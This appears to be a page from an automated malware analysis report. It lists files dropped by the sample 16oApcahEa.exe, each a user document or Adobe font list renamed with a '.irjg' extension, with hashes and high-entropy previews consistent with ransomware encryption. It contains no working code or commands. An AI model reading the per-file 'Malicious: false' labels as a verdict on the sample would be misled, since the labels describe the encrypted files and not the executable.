File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845388206146122
Encrypted:	false
SSDEEP:	24:ZRqPYkEg3si4zmqfO3yn7GxYfWGkYnRxVy0yCSpxP3FViseI7eE9pbD:ZcPYkf4Qyn7AYvBxIzTe9aJD
MD5:	86AA4B2FC5B701A57FA6275CCB1A72D1
SHA1:	9902EE92F4A93722227A77253B2D5C8CC6840563
SHA-256:	FBD456A5C7C2863A9EA3E358116822484D5EF5CE42DCE1EBA864A75B63DCEDFA
SHA-512:	39AF209F7D4C702D08E85C28B23A616B573CD814E9600BAA0F216C7D260566CC2986C6D996D930598D3C2F118D69AE50D896F0E4B401DBD87D35A06496AAB0DB
Malicious:	false
Preview:	NWCXB....K591.._3k1.&....[.j........!...+...M........`ve....Dd$...n..#.~k..O..Z..3O.M..9....-8.MD............W..1..q...f.vk.0).i.....V.w)u..=;..?.....%i.....9..' _..SF..}K.b.ex......W.X?...d<.i.._..... ......3..........u4...J...Z......)..rHL,8...:.'.e.E..1"p..i..u..Wq..:.....#`.p...5.W....O..%Q.r".k...B.b...>LJ.w#0.....ktC.K..}.'...,...7.M.>...t....0.......7..n...?&43..3Q.v.i.ZA(..aY...]mV.=..n....!E..&...Um.TC......L..+..J.^._7Mp.;..2.)Rr'.....K.'T.89.;..v.1..5v6...m.....T..?.G..g...C.c..xJe..D......P.4d....B......V].e.1...U..8~..\|..518...~...T..e%3...~.}......,#[M........L..@...t...$..j~.i{..q...);..wn'P.....y.Q./U@5...s....-.<VS.Q.\|....L..T6.r^.!...S.k.0..@......p.t.Y......t.C.:.....+....v.7M.3s.;.W.yw..-z.1.\|....2...>_.@..>.Te/8..?....4.....".}............"..bH..........\Z..(W......,B............,..d:.A.....\|Vq.^......U.3B.4.......N.......5...+_j...RX.i+t..ux.mV\..v...Q.....1..@`.D..iO...:..S..y..G....s....c..?............%.

C:\Users\user\Application Data\Microsoft\Windows\Recent\NWCXBPIUYI.mp3.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848477013397339
Encrypted:	false
SSDEEP:	24:F3Su4X9VdXlTfLsEgglVdOm3P+N+72PT7n1j26QUrXXWlrvMq9HYC6T9pbD:NSxX9HXOvgImWN+q7n1j26QCnTZJD
MD5:	04B7AF3F754BD83EB737B61ABC6CFEAF
SHA1:	C731400360C347E0AA5677C76098F1A67E02D88F
SHA-256:	425A8F7D46085580524A5D5DF08C7FD135AFE80FA7F75774461F872E0F469E54
SHA-512:	3F8AC06D16E46145F5AB478F010DE23312004F4CE421D3C72195AEBAF3B167B42A6B4444CD70B0062B39A2D8E14CEB3B450E7C8DB7CCF0742A5406992ED45D71
Malicious:	false
Preview:	NWCXB..vW.Z........Qcn.....2.l...b....]iu.0...R..i\|.i.......Xj...a..a.....c.N.....G2F....5..._. {.M.........c@.W.)i.S......t.3....#..\|..G.T...w.\|.....P";....cZm3].......9.....^.@.K....%..V,O./...C......Ai..n=.X.]...Dw..G}...^)..."ST:l...a.:......KiGr.l..UA.:....q..A..{...j.6......l.....z._.........i.~.k......\|B..../.=........O/n.......{"..x0.?..O....#?..#..l6.....Q.2..X.D4...V...4.__.....C....2.p.9.8......;.?.'[...%.._........]}...R..+W...f.>...W..\S.`,=\...I.`+.u........,...%..w_....m.t9j.]..4...=.)U.g..<K.3.. &U.a...Et.F....7B..z.5e..9H....9Y...'.B.. ../y1..@...wE..%...z......zK.r.P%...M .O.:x....r...X..UFs.C.V+p..M$.i.=.#.C.%3?>..L.k.......Xd..B..s..9.....Kt...8;k....>..e;s]..j.......<..]....P....C......+.W.J.V..:.Y+.@&y..1.m#0&{.le..qqN...}.]Jg.H.j4..#... .[H+...H.$F..T]Z.#.4D.?.O.~3M4DE.....^...^..#.W.c4y}.....L..S.x....2.{.....8...C^.q.=dc...G..E..0@../..K.....s.z....p...#.;.~....S..;4.....6..(>......B..Y.2.[[.`......?...QGL...%

C:\Users\user\Application Data\Microsoft\Windows\Recent\NWCXBPIUYI.xlsx.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857006869732149
Encrypted:	false
SSDEEP:	24:EyjQDjYCf20kwNb7+C21553mjuIaj9Vz7d/Zu65ns2u5TmwVAVlP2iQM8p1bQqvX:DQDMiL+C2Yjzaj9VJ0J2u5NuXgjMqFJD
MD5:	2B089281966819856B82A12A70F4B845
SHA1:	CC89E484D4609BE2F3C5A8D0688DDA9E91B15E84
SHA-256:	FEA69268B6CA012F10AF4D3AF27430DD5EA684AEF822FC7EA8AD73FC91EDA862
SHA-512:	AEB2A9E25D9D28DF562D995BCD3F7EACB3EDF63A799FF98C92215B2E75DCC5C462D358017C9E2AD43AF35C41C4E43119F9EBAAD386E2207D0CE013A876A512ED
Malicious:	false
Preview:	NWCXBG...z....Bh..K/..T..(..(..:.^.(...:s<.Q..VX....@N!.)2.Np.X.].U<\|.......T..IR9...r+X...z...Ds4.g....w...!....;...Rb....p.)..M..pT..9.De...O.f@%..;.e.U,r.Y.)z.R...\.....u..0.q..L9.ZB..&.y.0uL.!.M/...f.-..bq.)@.\.L...p....i...)..:s..3..1...N..-.....-+.A.x..\.i....P.M.1K.#..z....Zt.-Y.X.A..J.......Oq......9.....8.D#....H....x.^YH..\.g6.KN..CP......p.......?..~.B.J......2...\......u...U.l..{_+.;~.PZ.`.]6.".h....#~....,.U.l.d.......X.7..A8KA{. ..........Y>.Xe>..Qis.>.U..W.xlSu.uy...+..-.#!r...R\.....f.8;........?k`.Yb.&34...._.;.9...-/.z........g.*...{....(.....ng...<....+...:..SX.:...a....=}.Q8`.."..E..a....8l....{..n.u.1..D...^.....b..\|...j!...1......Q...+M..w....<......T..@.)PL.6mS\wX...I...e......D..)W..A..W..DA....K.k..sS..2..k....e..2.5S^...#.J..'..u....5..a\....xb.T.0....O.N.#.....Y..qU..ws.N....MTa.B..Y.U..........([..{......[._...Z]..(i..k..$t7...i...!...vB.i+S.ru...........IX..^.T.,......<..CS..k...b.z.:.%...]9u...j..T..

C:\Users\user\Application Data\Microsoft\Windows\Recent\OVWVVIANZH.png.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.831215789915357
Encrypted:	false
SSDEEP:	24:3VxJZuEYc6egBzG5IKzculwOs0Up1V+h0Cmfx0ANLfe+9pbD:vJUEv6ljKzvlvUp+yN1JD
MD5:	EF2C241C09310D8D4ECE88B92040017D
SHA1:	6F2C4777EB39DBB1D581ACB69C6B4A1ABB0206B4
SHA-256:	5FD266D317608C23F45BAD933745834B431BAB41744C37329DCE0C69647C05E8
SHA-512:	F36CC70BB69CB6C7D8FB7ABA1FACFCD68F6870FE1F3957B12C13DE9A6833C50E6E9B86205F5B02506BF1F917ABFF3D998552A79FE052795328D1B094D5D31F3A
Malicious:	false
Preview:	OVWVV..5.....t......8%.)0v9......,..w%.~..F.v......@......d.?....;.}...Q..c.....?(zw.......{qCCK..d.~5Z.l@K\|....Q+\|....V.nA>.9.....Z...!..v.....W.K4b.)..n..A.....y6w..,l.......&.Sd......n;..R...:.D..r.&.v(...u.\...Q.qAA.`.^.....q..l&}..,.W...J...1.....>b...P.MC_x..v..h...v..O...Z..T/$.e~..8....*.&..,...3..\W..1.....E....\|$4t..lL.$....7....._.PT..5.dx.D.Z.......+..9.)@n.TnK..gB..D..WJY.vfP:...W.......d.{7...{m....M.n^.D....4...N..Idp.'jN.....T..q.{...'.s7..0+0....U,..K..Q................`.(.....5........3..P..6.X{.......E....f...h.1...X..dI.....E.mF....{7..^..l..79.....E...>&%..`F.B:...e...E.?......^yE..7..... g.KhO.R.t......x...QB.....+\|dG..../..P.q. .j......HxR..5.< A..nT..'...>M...ya.>.=1m\K.!........_CFC.%...HW...jf=..../.\|...mO}U.%q.C.f....tu.."0..0..\|....F@...y..1v...b.E'.....;...yC..y.Kl.....6.K.[iwK3.gO`....Z..@#.0f....~m.p.B-[4.GB...@~B..Te............U.9gP..7&.....d...5.$.e..)....]..xD..b_d=..=z......[.ls..av..Z.$J......,#....l..O...

C:\Users\user\Application Data\Microsoft\Windows\Recent\PALRGUCVEH.png.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851155426863431
Encrypted:	false
SSDEEP:	24:bU/BO0EJjZrx1Xy+xz5UnWxH1kI9kbBGXAbXBs+HjuuAC/RaUIGYv+zBDrye5GE/:mBLoxByi5QWxb9MBsgCkjuXC/pIlod7V
MD5:	652790CC72EABE7370339C9EC82B9580
SHA1:	A4069F3BFAC3B25DBCF0211528F899A879897C6C
SHA-256:	EC7AD60DF7FB4DF8DFDCE09899B296629B9140FB6A1B4FB7701781CD3B8DE5C9
SHA-512:	EEB8F1BC91045034D09AD7D656C2DF64A2E1950962AE05E6F061948C1EAC524F27B7A79B31C1793499F4EF4E8243375E8E2C58C0BA16BA4D2534BB5AE8B59CE7
Malicious:	false
Preview:	PALRG.s.gs.U7._w'L...N."Q.q.yF.0H._.).H....Q..Q...(+K\...@...<.6.U.Y.....[....e..........H...+..........t...p@8^2..;..V?jo~^....'#..u.7B:.I...,.._..>.j....s.b0.y.~+..=.Y"..:R.L....R&.y_.89."\|8.....T.K...(..YZmu....M...(...h...7Q..!T3.c..c...%.1/..3$...9.J.nW.d.K.Wm.M8\|..8.A....}...D..1.(.aU.(.../`.N06......Eu........1..g_Z..,!.53l....S.,qP.;...I...B..r.........TVe.....#......r..(o..w..&T...B..]..F'e....x..........F.d.K.,.....3.h..!^.vy.BB.........\.F.#.!TJ.t...m.......B.Z.i`.l....M#..MT5BC(dg-..UV..nQrC..Y...K.._4h5........zi.....8....{./..f....d....E.H.XzV.........E.A..0d...J/..TZ.F.....:n@....F.p]..x....:...2..t..jsv...../.u....\...._..$..c."^h..k\@...:...K.k..t.KL..^7..A..44.\...PgX....#.......]..<...g...a\|...JB .:m..Qp}.:...4z..}'....S0i.)..3@w.e..o.%.rq.A...:....L....0...gm..PIk...U..........U.....ok...1......].au'..}p..........l.._SOE.a.N..O]t...Z.h..!qP..i....#..+9.$%l.z.%.}...ci...'[.?.d~.....=.L..[..xa.K..o..C...\.q.]`#aV=..)L.f>....T

C:\Users\user\Application Data\Microsoft\Windows\Recent\QCOILOQIKC.png.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852401627465006
Encrypted:	false
SSDEEP:	24:9Vo+aHJ/gK4o0x1z/bwiKdXPqwHqVc1exaffAzGiTqfhU3DE9pbD:w+ap/gWejVAn31fQtwhCDaJD
MD5:	30FDF992E214F0C21E78754FF1E44B96
SHA1:	6299960C495B491CA0C965E35D94443AF07DA055
SHA-256:	BD9A701872A74340BB4D71EF970C210E78453C36508E0EE1181C2FB9D31C7CC7
SHA-512:	03ABEC76B19C7B797481B0A91E259150FFC99C1D64FCAD78AACEAA4E47174348F5A846C34D3E7EC7F9FE94BB3C55FA5ABEA5BE11D59A30EC3B4A9A9C099BABA1
Malicious:	false
Preview:	QCOIL.}?..a...i.]..).N..q....<..AG...,..`.....WR.M...2.)..'.-.!trQs...K...$.(.."..n..'.9.#R.!Z5.........\..3...8j.Bvn..F...W.Gw..k.Ub..:.<K:Jx..}/:..@)...F..$..QL..I)b.{.-.[3w...j....q.Vi....o^..n......Z....R?.M\e...44..v.zn.....w..Ag.L.Y..6...-...........&...F1..qE...s'Et...^...\|.V.T..Fy.I8..\|d..\......>..w..]..L.TiQ...\.R.E~.....q.W.7...Dk.../H{....Mf<C.2.[..YyM$....Ra.._...8{.k"......R2.Orf.q.).X.......n....x&...8..>P..Bx.;(.....3?....D.....s..0.......$ks......NE.=...%.0...R=...:..7+x.=Q.....9.W..L......"C1.........,.H.^.....UD.Er4.% ......q.a.....l..Y.#.y....aq.I,...8...\|0...{..c.....\|rZh.$d./....2j....$..DC;..Gp.y....i.v..Wp...........u...>....=..L.v ..tr.TcC..+4!....$:.E....o..<............_........>,....3iH..H..#......h"VU..6..37_......I...r...SHK&3.7...:.5T...M.(h...[.u....fF.....i.G.F.....DH...b.O.3.m.D^.S...MJgK.l#a...l..i...w..,m..J[...).bg...w..e.K..k^5.h7.i.h..z......k?..g?.......&.........ouW.P.+V..Y.'.y...S.=I....(.c

C:\Users\user\Application Data\Microsoft\Windows\Recent\TWGTYTLCKI.jpg.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.837684292345806
Encrypted:	false
SSDEEP:	24:QUD2HyPE/joCd+BVEzhSzKxECNMp1aPjQ2BV4hQm7gt3CS9pbD:7DbPErdIaSmhNuQjQjgtZJD
MD5:	746750BADE1CB755FA9183150AFCE3EF
SHA1:	2F6FE91C2C6FA86572042B167077F30041A49647
SHA-256:	B3C31222BA9AE1E1B50D213960D296970BCFD04DD984EFB55172E1A1897D0A49
SHA-512:	8FB5451F96AE5F89C2E30D9859BDF75C14076A2620CF576EC1DA299CFEE54359518230E875094C3E4A8E25CAF97FB59D1DA19B8C95675CB6F9E4A5A72C2F64E4
Malicious:	false
Preview:	TWGTY.1.........U...w.2.[.....^....-.Yg.{.-v. k.u..\|'...&....O2......e. .d+..m.V.!..{..R....`%....z..a&..{.B#>.....u.-...U.......3..Z~5Aw9. .+.d.U^.11.dZl.....H...(.....d.7.P......s....,:...FA...U..i..f.;bb....!....X....7.\XVh.uwk-.X]..Re/...J..i...G@C!..Pu...6...\L...u...~...F..x..X&.3d.......8.67".+J.`..k.......eZ.H..`..{2A.:.M>.o&...."m..../....4.Z.........wV...J...0....0.....X..a...8.U.......Dyzh..E7.i..N..?.k...y......J..W...5..0d.F.lR....T..kJg....F.U2v[..f.70X.s.....M.C.wVk...[Y./~@.=.......E...........r....@...Yc.Qo../Z..W....^........k.sg.B..F.........id.'.R......J.s..\....n..1k..i%\|...f.............=..R ^/.MW..e.g.......;.&.q....5O.2U}0.g...>....oD0...Z4\.z....X.....c...C.tP.......MiB\|k+...T.v.........]S.'1cs.?-...... ..dz......?.hJ>]~.F..1.D.5<9Rjto.....f.RI'.......'..G....<...D..4'OC#.s...F.k.:D.&...L.0...}.a.?....D&..v..<s.x6..Y1._.9k........v..\....F..}.d.py...o!..+H....X..do..~..A.....-.E.g.0.I.}...s.....a#0,.e....I..Z..V

C:\Users\user\Application Data\Microsoft\Windows\Recent\TWGTYTLCKI.mp3.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857098969104504
Encrypted:	false
SSDEEP:	24:1neAxAPec12jYh4ba7o5wa66t1yGeAvP2Xv5Xd69LI09pbD:1neASPeKB3QL6UDmXmSKJD
MD5:	0E8E929EF8DBFDF179D0E29A2ECF5121
SHA1:	031C0627687CC74BDC394E600A01381B3D4F56D5
SHA-256:	1C1AB187E7B5D784BDCA0AA6A58A40830C9C6983D0B142D2B49EC2706235901C
SHA-512:	E227752FB9A7008C1D6C2D10E8140E7E2E998A6743DB7405A277CF56034F2D8E1F58E3E09BF71F72733E071CC76D6C468FA3B4FBBA34A2A31B134BCB7D9578B7
Malicious:	false
Preview:	TWGTY.WH..{,.....)O)09>.....v......2...<.3.q.......x...r.n".OBT ...]..0.X\he........Y.H..K.f]F./.....Z.R..[Hk....b=..a..y.e>.E]._.%....a.aW.vI..c.i.E.8w..2./\|\|U;....M1.".......{..g..@K.T<mGw.....$U.O..@)...`.>;<.#]\|qZ..Xl.S..W..M.8....i....D.d.<'..b..1......IY..(.@K.6...XV3.sGxm:..EOaLJC....+._h.c_.........X...GI.k.~l..7..y.=.6...)..wF...:.........Z.".!.C.Ba.&.E.p.....PeD.d.xE.b....CL...............Q..l.....]X......aD.e,...N.....LQ.x.{^Y.fb..:....+..!......;!..Fb..".lV....+xw........G.V9..$C...eu.O....0...:....\5.......8...6D..5.m..m..{@A..:../<.3..l..zj._.d.)...F:l:<P..BWm.q....V;.k..fG...J^..w......A.f~.C.V.F.XW..M.(......k..{.......HJa.c....P.8.!.......V.t...]...w....b....{..p...0,....6.ZL.....j.]L.t~1M...G.i....S.g4.C....?.i.C...m.&..w..Y.3..?.....5....v......).Ka...,..i..Z.}...u........~&.,&...dA.$U.....=...'.T..R...@,..O..^.E.......r......pL.5.....c.E.[..O..Q. ....n...nU..6s.I....&==6Z..e.._..~......k1d{Zc.4...u8.

C:\Users\user\Application Data\Microsoft\Windows\Recent\WSHEJMDVQC.docx.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8486886890897685
Encrypted:	false
SSDEEP:	24:VZ/7LnyCPoM2rInOIcqBwRqUm1yBDgdICxfnQoOyOiIrEHalYCc9MIrqahmQJZ0z:VBj5oMgInOIclVGPxI9yhICalYCcew1G
MD5:	DD850FAA8A617894A51C15FE336527D5
SHA1:	21CF483DB41FC82469500A36D93D7A5CA4390173
SHA-256:	56CEF90F2A041A416E46B9D7424B1367957A934CEECF05540489890582C925E9
SHA-512:	43448120F91096F87183A55F577B6A2B159CADA1A6CB643E7151F2489AD7CDC773BD292CF4E7114AA8EFF69529D8DB153B3113DC3068CBF7268D28F4202E6EAE
Malicious:	false
Preview:	WSHEJw.G.zv.\|...<......Z.C]......3P)-...H......S...K....9.26..tQ8it...e.~3uK..I..... ...mj<....%...E....V.6.T....W^....1.[.V.\........{........f...m.<.=.... B.$.d$....kx......vr.W.c.....d..z..]..y5U.~.l.j.\...:z....[..cD...Z?..........8..n...tq/.p@.^.......Yw.uJwBx.C..B-L.vf....E.4..h#+p..u.W......Zl....,...........V~...HH.1.v.n...`......Lrj.4.....B9......G93.K".....^.....x.Y..Fh...+..t.......+).\|.a....GE.Y..%..w.$.[.._.R.21.$..w}..@.qk...t.!}.C.[.d.B`...r.... .......F..1.:..A..@tk.n........'...Q..Gi.Z.j...jt...y.8H..J..!..3...^v.J.Y..a.J../=.K....rZ.H.S#...7...H%.:. ..q.....}....E.E7.KG9O+..$.n.=..uAV.\|.....^..=....,Hh...X.AS.S..........b.C..R..!.).#..6..^]...v.2....'B;.9\;..cS.?)..........c<....-)I.....-.."_ ^Y.^..."..N.......k.".....@...T......[u.O.=t.}...J..[.?.U<.G.1.TB.yJe&O.>..t.:65o.w"S..............R$..7..+....4[.t...J..>.5{"x.Y..O!.lj....N........w.....L`.."D...f=.\...:...n.O...Vj../...(....p..S..+$.C.C"3.....].6.\J..*.]X.y.

C:\Users\user\Application Data\Microsoft\Windows\Recent\WSHEJMDVQC.pdf.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.830533626255049
Encrypted:	false
SSDEEP:	24:8jGtDZAWoRi44tpeg2Dqd6Z29VoPBGjSqKU6jKhuVASNKtmA79Z+dgzNGu9srMAX:8KkBRctqDqd6i2JGj/H6jKo/Y8ABZ+d3
MD5:	C964DD9FE23CBEB3C8C70C389EDF33BF
SHA1:	05136A5D257F7D4521A87B12C5ED47A619666616
SHA-256:	4489E3265C4873E577E1F0B9F0269BF657035A7663683F51BC0C2459F80E610A
SHA-512:	CBDBEFE4825918178852204EC708F61FC7DD62C3FA1D0A50D4BF25CF587D2D1A0FCF19CA60ED5CEBC9B80BFC4EBB6432B8C17CE7AD6F2C171C881752BA984B2D
Malicious:	false
Preview:	WSHEJ..'S.H.m7*..m.K9.=.,G.<..p..E_$.#..d.%.(.@..:@.C.h@.U..].....r....k3VQ...=./..Y=Rx...^..t.]...Z.k.#.]g..._....iC.q2....DE)..V.^uK..9...`.%......zY....%...4X.k...z..s...GT..4.U..)..o..]......P..%T..X.1.^@.B..w.h.V7Z.C.~?mk.!r..].&.b....zP./f.,.....4."......M...R......=p....{...U6..y...c((...;..!Z.\|...p..)7.sNfol.=-......;._..F.....a.:,...:.....9O.V.4......?.6..=Y.................ei#.!..qL ..u.T/.".q....O......(s.{ch...##T.o....M.hm;F.2.yz...........6N.R.:.cp'.G....R..<.l}R.$.6:...s...Q..}M.i...J)....J.Pa.{...{....gNps.v]..f...!E..{[lvTc..}...$..x.....u.+T....yQ.@..^[i..aY..Xs.#..-'.pg.0.. Q..X...H.^p..H.... )O.PR.kK6UL.7..%.jG.u.+y......'3..A\|...A...^....\.....g.r.n.........X..\._.6..Tu.PW...^..T.\.xCB.e.M.q....h..^..f.. u.m......q{.5,...P5.1.;.......EvZLq.#....@.) .&..'.k.)g.Z(.z^.k..SM}..:o.Y7.H.....h.5u ..4n..2~].'.Il..\.(.6$..Q=u@N.[..iR.X..W<.Iq(/h.e..7G...zk...}...a)..O=$..H......fQ....^zy....5...l.V.. T...>.\|\|.-{/..T....I..(...

C:\Users\user\Application Data\Microsoft\Windows\Recent\XIDWCHVKBF.png.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854969445737685
Encrypted:	false
SSDEEP:	24:G5ReF3YsWKYKPcAffVB1gDlOgt1m8E8HtuK2KaYiPxudEkrEglRidwRDQ9pbD:G5u3lWKHcCByDBtk8E8cKHEfy9RDmJD
MD5:	8FDDF6013286CEA83C77A0C0970FA17D
SHA1:	1688E7596DA0232408C574C150D1EF717FF0776C
SHA-256:	BFD67BC26ACE41BD68E7BA07041FA8DFAB3E2D0ADB257B1B0969D5C3CFB00F80
SHA-512:	8FF97B6255D720893026B4CFDF6BBC4B75E2A95B1B7F358E708D2F43193C75B155E0CD0D7D67A179ECFC92137E5257E63E18145D70A58CF4AEF37CBC62234D25
Malicious:	false
Preview:	XIDWC...z...XH.\|..,5A..._....RM.....F...:....s.?$v..h.Y.......,..AT.<6iK..Ts.FD...9..G.Sy.\...0....G....\cN_....^."F.<...._.._......A.\|j.:....)... .ng......R.....z..o'.o$..Q.^bv.....&.....X...J.$J..VX..S,..k.5.c..H.n.f.. ..4....../p....M...-.....&.U...oW....U.g3..J.&....a...g.[...5...H.[...V.G^..K..ED..[}.W....sr.vB.\|....F..0........hb%..~.H......./t...+Q.....\....;....../b.`.p...L...t.vD.G.Y.g..........M.S.Q9..88..v.Zt....&.rl%.A..^....r.@.f.....4.v.y....r:l..zd......X..s....a.s....."p.6....V._..b....9...:..m.o'.}.@..(........O...Qf......."....\|. .W. .5...E...nS...v.c....).s".[.....qp.....[.DU.}.P....G.j........j ....qo7A..%I..X...S.n......(..pnm...8;tr.\b..-...pQ..,E.UH...[...m..<.A.\.8.......tS..j...a..W.U.7v...3...=R.^...}..E.Z.!......T.aNy..T...H._...K..."}..P.x9..]b./(...3.h.%.....R..Q.,X.tF.....TR..a....)4.(1I..c.}.H.Se........o.p.Mw.......6.1q(=...a....Cq.S@c;.@...R...O........U......M.y._/j..+C.t...YQ..6?...0..O..M..6w..p.'

C:\Users\user\Application Data\Microsoft\Windows\Recent\ZGGKNSUKOP.jpg.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8415961019364655
Encrypted:	false
SSDEEP:	24:HRDxuAPLDqdCJwPl3h2pNM00FoWMschSTls4ITbVnptE1p9Yly8TpAgV9pbD:xDBDquWJwpO9MschSTwRptEDGl1mgPJD
MD5:	277A4F4A24D4EE3AAD1890898E86E538
SHA1:	CC23747F60B742034FC2141D5C6E12FB1858FBCB
SHA-256:	EF69D4D3EA5C3BBCF2292EC4F065223DB29EC78FCD56ACA040444B79D986C07D
SHA-512:	512C015064C79E55755B96D4B90330CA285D9D7CA2BE83184BA675EC7E6EBD236F818465C502F904FC182D398CA1BB248EAD3C246BEE31FCD4761FE2BE846340
Malicious:	false
Preview:	ZGGKN2R..j<....8. \_..W.:.y..6.....qhu..^....."...zkk9r%......a..`w.Mu<Mh....C<BJB..b.f...3..j.....>.w`b..H.g...."...4q.+(s.[2.7Y...F.'./..-K).l.N...S2..B#m2..1.xaL.\.{.Y.1.#v.%......]w.l...L...<-z...P...F...m{0....f.E.c..FZ....r!........X.P...b/.......}..tEW....n..]...hc.X..A..T...s!.GP..I.Fo.P...>..$.J`...$.=...Hw...I..&.....M....q(...VJ...y.-....Y..F....?T..4C...C.........[...........h.....{.Q....U....'3'j..\H../......N..`qB...).h/..`.......0Y...~.'?.NU......BB.M.nb...&#..8n9.......1...7. ..}@:Q./....q..\.y.C..xFz. 2...;N.$...).`."..-.l.F....Q..jV.~,..Y..ud..f[.W...`.@.5.....Ir.~.(.2...o.(..E.....#......)}.~.......Ov.]..f.U]..;..>J.......4P.=..=\. .....%6f..@..C%......5X'..V/D......k7+.8.....x.u..0..#.z.J:..I.F.@.i...x..V.O...K..vK...x....Ur.$.Ny?.3....+.;....!..........^..3..@"a!..^o}f..<.40.6..g7P.h..1. ./\|o(:xh.....{=..."o.K...C...v.gc.s)b...L...Z...f..V.a.i.dN...P...c.d....$.O....0..lb....y.8....Y'@......?NB.............f+Pm+....

C:\Users\user\Local Settings\Adobe\Acrobat\DC\AdobeCMapFnt23.lst.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1567
Entropy (8bit):	7.857464662210071
Encrypted:	false
SSDEEP:	48:w9XaqIjG/LLQc4+dYieZmo3brpPI/uGzDWfB5IJD:YaPLieZtrrSu7fB56
MD5:	C3932EB5516D590AEA274ACC7974828B
SHA1:	35D08E8974D4F03E680C69D6B138051B6DAD9866
SHA-256:	FB85524173BA8B6B6D44044776C69F6FFC7ACA1DB15EEF1DBFCC5E133F44960F
SHA-512:	96779BC41D8A81C4D9EA08561C917D8205D1BCA4E18E564C43656D9CAE9ABA2C74AB8F571AFB2457137D9523674258B6AA9B7FCF5D8B423AAFA586A5BC4ED52B
Malicious:	false
Preview:	%!Adom`$.ZZS.: NC...B2....5p.!.;..G%..2.$..25IZ\|5.`.....+.;g$.PA.>.-.>.p..'-...".T...eve..0`Nw..m.t..<..cZ..!^=:x....w....(.o..9,...J.)3.&.-.._f.o....?..3.~N....).8~4.CN...\..X....cA.p....v.........i......1..j...w(#...44..;n.H......*......`........MH...j.J..y. w.`...$Aq.!U..j#.....q...m3$]....Ob..#k..?G...n~.9wP]#.T.i...[?.+./.$..u._8j.!TM....5.75c#'.....N.8,.WFBu.M..^..N.Zr>....x...:./.i........Z~..A..S..sY..7.S.....1M.%.W.\|2KD...l%A..(.#....."^.....j`...[..~]&0...2..a.^[9.c..=....8Y...O..Kp.B...HQ!J5......q."...uQGS.#...$..3..?....;.%.:.(mTD.K...!.......w`.z...8.>.}0.""]]...........=z.d:Z.].4..w..1...,.vk..L....3.[.Z...r.V2Z.@.%./?d.h\...g..fN....K..GH\.T.~>.5..9..I.r._..j,r.p.!..<....9..Z.........k.oq.......dNz...\xF..-.O.U..`...)....;..M.#U......ra... )LU.T.9.2. ...\|.@.u.64.....O.....5. .Y........^5..%..~I.2......'r&.w...`...Ol.3HM.1..U...(...H..X.u...lFdVI....:>hE.?.2.T...../,.~~....I...._j.@...7..K.....=..5OMTX. ,.jhE..=.

C:\Users\user\Local Settings\Adobe\Acrobat\DC\AdobeSysFnt23.lst.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	185433
Entropy (8bit):	7.877167821768895
Encrypted:	false
SSDEEP:	3072:UnBa+tnqG4sTAeIV9xkvjWE1CgPmI6xfxSx//j8bfC6cPHLQynulwFeyzC8LoXEh:UBa+tnqQAewRg94foNL8bfC6cPrQAKwB
MD5:	9D83BABB2F7A46A473FE87BFE1CCA4A7
SHA1:	C7150C213D4296FE1844A0B0F7107C945F1ACA89
SHA-256:	66342C0E32E8AA921C45204CDBD3CEB55011602825E17AB487C7DDF7A47102C6
SHA-512:	7A798F3A6D1F31E7CB9D752601799FDE78FAE1ECCE59A3E80BEDEE907BCB9F1833FD29CA917FB7A826D30C86DF726FD04C5F64ABA8F332E7B318245ABAA83A51
Malicious:	false
Preview:	%!Ado..E...8g....&9l0.(.h.=....{F.zB.L..z.X".Q4.m...)B0.. ..]..+......~.d..]....;SN+.r.".=Fc.".^..w.@.....].[.!.$..e....t.!H.I...........]..>y..Z..!.........-.g...R...e..jX....s4..K.db.3.. .. .RT.p.u..4..:h..F.H..]...5.+r......aa...2.u#.....#...=..I....z.........4%.Q....8}./c..Tm.!U........W('bO#.UIDC.H.0I............'.c'.F!..5..'..u..{.r..g..f6Ex..O....I....p!l..{L]6B..A.K........i.b..-.d..K...:..).4..\/...t..(k..E.rP....Fq.D.....=.s...1.6-.0...v.2.7..,}X.(.(9.9:..(..y.:.<:h!V.s..Y&S.z.`.L......>.K...Q......!..Dj....s.4G.:..o...s..... ...>.'IR.pw.B.!p.....K.&\|>.}..._...4...34.C.G...&tN.\.\|...wj.8..N0"...Z..SN....../...%5...-;I2.YZ1.....]-w.C...cJ{s.../a..M....l.-H<...I...d'Q..I.t....%.j...0N.A_....yn_[W. 